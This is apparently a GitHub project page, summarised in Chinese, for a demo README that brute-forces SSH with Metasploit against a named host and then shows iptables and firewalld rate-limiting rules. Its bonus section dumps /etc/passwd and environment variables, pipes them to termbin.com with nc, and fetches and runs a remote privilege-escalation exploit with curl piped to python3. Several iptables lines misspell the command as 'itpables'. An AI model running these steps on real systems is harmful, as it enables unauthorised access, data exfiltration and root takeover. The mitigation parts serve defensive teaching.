sillihkram/Bruteforcing-SSH
GitHub: sillihkram/Bruteforcing-SSH
基于 Metasploit 的 SSH 暴力破解攻防演示项目,展示字典攻击、权限提升及对应的防火墙防护配置。
Stars: 1 | Forks: 0
# SSH 暴力破解
========
这是一个针对 Linux 主机上的 SSH 进行漏洞利用的演示。在这个演示中,我们还将向你展示如何通过简单的 `iptables` 规则或在 firewalld 中创建 rich-rule 来降低此风险。额外部分:一旦获得 SSH 访问权限,就可以利用权限提升成为 root 用户。*注意* 本 README 和演示目前仍在开发中。
## 下载字典文件
将项目克隆到你的本地系统:
```
git clone https://github.com/sillihkram/Bruteforcing-SSH.git
cd Bruteforcing-SSH/
```
解压并准备好常用用户名和密码列表
```
gunzip passwords.txt.gz
cp passwords.txt /tmp/passwords.txt
cp users.txt /tmp/users.txt
```
为了让你更熟悉,请查看一下文件的内容和格式
```
wc -l /tmp/passwords.txt # Notice this is a long list
head /tmp/passwords.txt
head /tmp/users.txt
```
# 安装 Metasploit (RHEL, Fedora, CentOS)
下载最新版本的 Metasploit Framework (OSS)
```
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
```
设置权限
```
chmod 755 msfinstall
```
运行安装脚本
```
./msfinstall
```
默认情况下,Metasploit framework 会将其安装到 `/opt/` 目录下,让我们看一下并将其添加到我们的 path 中
```
ls /opt/
echo $PATH
```
将 `/opt/metasploit-framework/bin/` 目录添加到我们的 path 中
```
PATH=/opt/metasploit-framework/bin/:$PATH
# 你可能希望将其设置为持久化,请将此行添加到你的 .bash_profile
```
将 Metasploit 仓库添加到我们的系统并确保我们拥有最新版本。
```
msfupdate
```
# 安装 Metasploit (Mac)
前置条件:你需要安装 home brew... https://brew.sh/
安装 Metasploit:
```
brew install metasploit
```
# 使用 Metasploit
启动 metasploit framework 控制台
```
msfconsole
```
列出 metasploit 可用的 exploit 模块
```
show exploits
```
因为有超过 2000 个模块,所以搜索我们需要的那个可能会更有意义
```
search ssh login
```
在本演示中,选择 auxiliary/scanner/ssh/ssh_login exploit 模块
```
use auxiliary/scanner/ssh/ssh_login
```
列出此模块可用的选项
```
options
```
为 ssh_login 模块定义选项,以对目标主机发起暴力破解攻击
```
set stop_on_success true
set pass_file /tmp/passwords.txt
set user_file /tmp/users.txt
set threads 10
```
定义目标
```
set rhost graffias.openincite.net
```
发起暴力破解攻击
```
exploit
```
如果 Metasploit 使用列表中提供的用户名/密码成功通过身份验证,你将看到类似以下的消息:
`[+] 192.168.0.136:22 - Success: 'podman:password'`
Metasploit 不仅找到了一个可以成功通过身份验证的组合,还留下了一个打开的会话。列出打开的会话
```
sessions
```
要与打开的会话进行交互,请使用 sessions 命令:`sessions -i `
```
sessions -i 1
```
现在你已经连接到了目标上的一个 shell。尝试输入一些基本的 shell 命令
```
hostname -f
uname -a
```
# 保护 SSH 免受暴力破解攻击
[RHEL 6]
确保已安装 iptables:
```
sudo yum install iptables -y
```
在身份验证尝试次数过多后,向 iptables 添加一条简单的规则以丢弃暴力破解攻击
```
itpables -P INPUT ACCEPT
itpables -P FORWARD ACCEPT
itpables -P OUTPUT ACCEPT
itpables -N SSHBFATK
itpables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name SSH --mask 255.255.255.255 --rsource
itpables -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 20 --name SSH --mask 255.255.255.255 --rsource -j SSHBFATK
itpables -A SSHBFATK -m limit --limit 5/min -j LOG --log-prefix "SSH: Detect brute force atk! " --log-level 6
itpables -A SSHBFATK -j DROP
```
还有一个 ansible playbook 可以用来创建上述 ~iptables~ firewalld rich rule。尝试下载它并在本地主机上运行它:
```
curl -LJO https://github.com/sillihkram/Bruteforcing-SSH/raw/main/mitigate-ssh-bruteforce.yaml
```
[RHEL7/8/9]
在现代的企业级 Linux 发行版中,firewalld 具有基于 rich_rules 过滤连接的能力
```
sudo firewall-cmd --list-rich-rule
sudo firewall-cmd --add-rich-rule='rule family="ipv4" service name="ssh" log prefix="SSH Bruteforce:" level="warning" limit value="6/m" accept limit value="2/m"' # block ssh after 6 attempts per min are made (IPV4).
firewall-cmd --add-rich-rule='rule service name="ssh" log prefix="SSH Bruteforce:" level="warning" limit value="6/m" accept limit value="6/m"' # block ssh connection after 6 attempts per min are made (IPv4 & IPv6).
sudo firewall-cmd --reload
sudo firewall-cmd --list-rich-rule
```
现在再次运行暴力破解 exploit 并观察其行为
```
exploit
```
注意,我们的 exploit 在每分钟仅尝试 6 次 SSH 后就被阻止了。😎
# 额外材料
## 枚举主机
使用发现的凭证连接到目标
```
ssh graffias.openincite.net -l podman
id
sudo -l -U podman
```
podman 似乎是一个非特权用户。让我们看看能找出关于这个系统的什么信息...
```
ls -lah $PWD
firewall-cmd --list-ports >> $HOSTNAME.txt #This requires root
printenv >> $HOSTNAME.txt
cat /etc/passwd >> $HOSTNAME.txt
yum list installed >> $HOSTNAME.txt
```
让我们把我们收集到的信息拷贝下来
```
cat $HOSTNAME.txt | nc termbin.com 9999
```
## 权限提升
使用 vim 隐藏我们的 shell
```
vim
: ! /bin/bash -p
```
运行已知的本地权限提升(LPE)exploit:
```
# copy-fail-CVE-2026-31431
curl https://copy.fail/exp | python3 && su -
# dirty-frag-CVE-2026-43500
# git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
```
标签:PE 加载器, PoC, 安全测试, 应用安全, 攻击性安全, 暴力破解, 系统提示词